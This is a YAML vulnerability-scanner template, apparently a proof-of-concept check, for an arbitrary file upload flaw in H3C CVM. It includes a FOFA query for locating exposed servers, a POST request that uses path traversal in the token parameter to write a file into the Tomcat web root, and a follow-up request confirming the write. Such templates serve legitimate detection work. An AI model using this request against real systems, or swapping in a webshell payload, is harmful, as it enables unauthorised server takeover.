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41 lines
1.8 KiB
YAML
41 lines
1.8 KiB
YAML
id: h3c-cvm-fileupload
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info:
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name: H3C CVM 前台任意文件上传漏洞
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author: daffainfo
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severity: critical
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verified: true
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description: |-
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H3C公司依托其强大的技术实力、产品与服务优势，以及深入人心的以客户为中心的理念，为企业数据中心IaaS云计算基础架构提供最优化的虚拟化与云业务运营解决方案。通过H3CCASCVM虚拟化管理系统实现数据中心虚拟化环境的中央管理控制，以简洁的管理界面，统一管理数据中心内所有的物理资源和虚拟资源，不仅能提高管理员的管控能力、简化日常例行工作，更可降低IT环境的复杂度和管理成本。H3CCVM存在任意文件上传漏洞，攻击者可以上传任意文件，获取webshell，控制服务器权限，读取敏感信息等。
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fofa: server="H3C-CVM"
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tags: h3c,cvm,fileupload
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created: 2023/07/25
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set:
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baseurl: request.url
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r1: randomLowercase(8)
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r2: md5(r1)
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rules:
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r0:
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request:
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method: POST
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path: /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{r1}}.txt&name=222
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headers:
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Content-Range: "bytes 0-110/120"
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Referer: "{{baseurl}}/cas/login"
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Accept-Encoding: "gzip, deflate"
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Content-Type: ""
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body: "{{r2}}"
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expression: response.status == 200 && response.body.bcontains(b'message') && response.body.bcontains(b'success') && response.body.bcontains(b'true')
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r1:
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request:
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method: GET
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path: /cas/js/lib/buttons/{{r1}}.txt
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headers:
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Content-Range: "bytes 0-110/120"
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Referer: "{{baseurl}}/cas/login"
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Accept-Encoding: "gzip, deflate"
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Content-Type: ""
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expression: response.status == 200 && response.body.bcontains(bytes(r2))
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expression: r0() && r1()
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